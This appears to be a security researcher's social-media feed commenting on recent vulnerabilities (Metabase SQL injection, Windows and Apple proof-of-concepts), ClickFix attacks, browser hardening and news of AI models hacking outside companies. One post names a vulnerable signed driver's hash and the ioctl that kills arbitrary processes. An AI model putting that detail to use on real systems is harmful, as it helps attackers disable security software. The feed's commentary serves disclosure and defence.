Since Metabase couldn't be bothered, it looks like CISA has assigned CVEs.<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-72898" target="_blank" rel="nofollow noopener">CVE-2026-72898</a> Metabase SQL injection via password reset endpoint</li><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-72899" target="_blank" rel="nofollow noopener">CVE-2026-72899</a> Metabase SQL injection via public card or dashboard</li><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-72900" target="_blank" rel="nofollow noopener">CVE-2026-72900</a> Metabase information exposure</li>

2026-08-10 18:00:36 UTC

Somebody posted a [Windows 11 LPE writeup](https://xz.aliyun.com/news/92658 ), with a CVE that doesn't yet exist ([CVE-2026-62737](https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-62737 )).
By poking at kloader's ExecutionContext, we can get kernel mode execution at an arbitrary address.
A stock Windows VM won't have a NIC that uses the NetAdapterCx framework, so will not show as affected. But you can start that service to see it in action.
The PoC has a hard-coded 0xFFFFF80041414141 as an execution target. I'm sure that somebody knowledgeable with Windows kernel stuff can figure out how to modify this to do something useful.
Perhaps CVE-2026-62737 will be included in this Patch Tuesday lineup?
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/072/512/428/693/604/original/b5938de52c94625f.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/072/514/232/462/368/original/1528e569cdc96c50.png

2026-08-09 13:05:56 UTC

- reply

Apparently [Framework was compromised via this vulnerability](https://www.pcmag.com/news/upgradable-laptop-maker-framework-suffers-breach-affecting-all-customers )
But:<li>Nobody knows for sure, as there's no CVE for this vulnerability, and as such there's no CVE in this write-up. (I wonder if there's value to using CVE IDs to talk about vulnerabilities? 🤔</li><li>When a vulnerability in cloud-hosted code is exploited, you say "the breach occurred through a third-party company". Here I thought that cloud-based instances of software doesn't have vulnerabilities. At least based on how vendors word advisories. ("Hosted instance of <code><foo></code> is not affected", leaving off the at the time of this writing part)</li><li>Metabase is an AI company. Who knew?</li>

2026-08-08 20:38:01 UTC

Metabase : [we fixed a critical vulnerability](https://www.metabase.com/blog/security-update ). We even made a [github advisory](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf ), showing how it's a CVSS 10.
The CVE? None. Not worth it.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/061/808/015/910/528/original/a0529d14186e4cd4.jpeg

2026-08-07 18:39:23 UTC

- reply

Black Hat gave OpenAI a captive audience with no opposing perspective to allow them to give their marketing spiel about how they're the best and you should fear their AI.
There's a [thread over at the bad place](https://nitter.net/arekfurt/status/2085760757258436825 ) about this.

2026-08-07 15:30:37 UTC

- reply

If anybody else is making the switch to (or back to) Firefox, there are a few settings that a security-/privacy-conscious user may want to enable:<li>Enable the <code>Block AI enhancements</code> toggle to disable all AI-related nonsense globally.</li><li>Disable Telemetry & Data Collection.</li><li>Disable "Firefox Home"</li><li>Use "Strict" tracking protection</li><li>Enable HTTPS-only mode</li>
Bonus:
In about:config, set:<li><code>privacy.resistFingerprinting</code>: <code>true</code></li><li><code>media.peerconnection.enabled</code>: <code>false</code></li><li><code>geo.enabled</code>: <code>false</code></li>
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/054/933/094/675/170/original/4f73b4733957e135.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/054/934/042/670/856/original/395d64f71157ffb3.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/054/935/296/131/926/original/62975187b88a4e04.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/054/937/235/028/533/original/457ee6ef1bbdef7a.png

2026-08-07 15:19:12 UTC

- reply

[As does Kimi](https://www.wired.com/story/moonshot-kimi-k3-ai-model-escape-sandbox/ )
It's clear that any AI provider that doesn't admit (or make up) news that they hacked real-world parties, that's apparently evidence that their product is inferior.

2026-08-07 14:30:50 UTC

- reply

Ah, lovely.
In case you were a uBlock Origin user who had rules that they've built up over the years, you can now no longer access these rules, because you can't access the uBlock Origin GUI anymore. For your safety.
And no, even from a terminal, those rules aren't stored anywhere in a human-readable form. You'll need an [extraction script](https://gist.github.com/wdormann/e93d2dc7eb9d35d513b9a7b30b43be75 ). If you run this on your uBlock Origin directory (e.g. ~/Library/Application\ Support/Google/Chrome/Default/Local\ Extension\ Settings/cjpalhdlnbpafiamejdnhcphjbkeiagm/), you'll get a user-filters.txt file that has your rules. Which you can import into My filters in uBlock Origin on a browser that doesn't have contempt for you. (e.g. Firefox)
I pretty much hate computers.

2026-08-06 19:04:29 UTC

- reply

Meh. Looks like this workaround is finally dead. That is, one can make the radio button clickable by making this edit. But clicking it now does nothing.
Time to find a new primary web browser, I suppose. 😕

2026-08-06 16:57:51 UTC

Over at the [bad place](https://nitter.net/YungBinary/status/2085255978367569939 ), somebody mentioned a "BYOVD" attack that's happening in the wild that's going to be demonstrated at Defcon.
We're not in Las Vegas, because all of that nonsense is silly. So let's look at what we've got.
The [Driver is on VirusTotal](https://www.virustotal.com/gui/file/87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff ). It's made by MOCOMSYS & DRC. Its authentihash of 2a7ed8d0be70e0667aa14e161ae1dc6b7daaeb1438b534d73b1093c0b44d78a2 is (obviously) not on the [Microsoft recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules ) list, but it's also not in #LOLDrivers anywhere.
The ioctl is 0x2205c0. And you can instruct the Windows kernel to kill a PID that you specify.
Yeah, it works.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/049/607/074/857/318/original/a3a8bd5cc8a2fa7e.mp4

2026-08-06 02:51:49 UTC

- reply

Meta jumps on the "We do crime too!" bandwagon:
https://www.reuters.com/technology/metas-ai-model-hacked-another-company-during-testing-information-reports-2026-08-05/

2026-08-04 21:41:21 UTC

So, uh, [Bugtraq is back](https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/thread/CHKLXLA7SJEWLDFHWXB3QU57ADOXGL2E/ )?

2026-08-04 17:18:15 UTC

I don't know how I didn't notice this earlier, but a Windows .WSH file is called a "Windows Script Host **Settings** file"
It's safe to open a settings file, right?
Sure infosec weirdos like me know that opening arbitrary .WSH files is the equivalent to running arbitrary code. But what about the unwashed masses? Any infosec workflow that relies on the end-user making an educated security decision is obviously doomed. But in this case, we basically have Microsoft saying "Eh, F it", shrugging, and moving on.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/038/369/697/781/372/original/d13e952db2f145ae.png

2026-08-04 14:40:16 UTC

There are rumblings about Russia SVR is compromising hotel Wi-FI, and there are people re-upping how using public Wi-FI is so dangerous.
There's no fancy attack going on there. Hotel (or other) Wi-Fi is fine. It's **ClickFix**. You're at just as much risk Googling for something and clicking on the results.
If you use best practices like not manually typing your password from memory into a website, and not pasting mystery clipboard contents into a terminal, you'll be alright. If you do like doing such things, might I recommend a hobby that does **not** involve the internet?
Terrible quality image [courtesy Microsoft](https://www.microsoft.com/en-us/security/blog/2026/07/31/captivecrunch-midnight-blizzard-targets-travelers-worldwide-for-malware-delivery-and-credential-theft/ ).
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/037/751/745/958/034/original/74734c2e01401ede.webp

2026-08-04 13:21:43 UTC

Why would a deer get into tomatoes that are **very clearly** planted by me, for my own consumption, before they are ripe, bite into them, and then drop them on the ground.
Is it an idiot? Or just an asshole?
We'll see how this goes...
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/037/440/424/664/188/original/64add7c41e932451.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/037/441/328/478/630/original/f963278c090315e1.jpg
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/037/441/991/616/571/original/61ae7ce2532b95ec.jpg

2026-08-04 02:30:55 UTC

- reply

This was an original confusion of mine when trying out Mastodon for the first time.
In the most popular web browser in the world, how does one add a bookmark for a site? You click the **star** icon. It's hard to dissociate "star" and "bookmark" if you're a person who has used a web browser.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/034/885/362/543/162/original/b1fe572b9a19ca7f.jpeg

2026-08-03 23:32:31 UTC

- reply

I suppose if you can predict getting sacked by an ICE goon, go ahead and hold volume-up and power for a few seconds on an iPhone. Or press power 5 times. Biometrics will be disabled at this point.

2026-08-01 16:56:11 UTC

How tone deaf do you have to be to not recognize that AI-faked satellite imagery might be abused? Like, the feature made it all the way to release without anyone being confident enough to raise a concern against <ai thing>. 🤦‍♂️
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/021/299/032/929/832/original/41dd5979cffb9d4e.jpeg

2026-08-01 15:06:04 UTC

- reply

There's a [public PoC for CVE-2026-43760 that demonstrates arbitrary file write on a remote system as root](https://warez.sl0p.foo/apple-screensharing-rce/ ).
Apple:
> An app may be able to access user-sensitive data
Okie dokie, now. You tried.
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/020/856/131/450/695/original/fa5368cfec552763.png
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/020/856/879/031/881/original/9babe29f44a90015.png

2026-08-01 03:43:15 UTC

- reply

Not to be outdone by Anthropic's felony bragging, OpenAI assures us that they also did more felonies.
https://www.reuters.com/business/openai-finds-evidence-other-ai-agents-escaped-containment-it-widens-hacking-2026-07-31/

2026-07-31 18:13:58 UTC

Coldcard devices used predictable RNGs, and apparently this has consequences. 😂
https://media.infosec.exchange/infosec.exchange/media_attachments/files/117/015/944/385/436/786/original/f7c5e22e49cbef1e.jpeg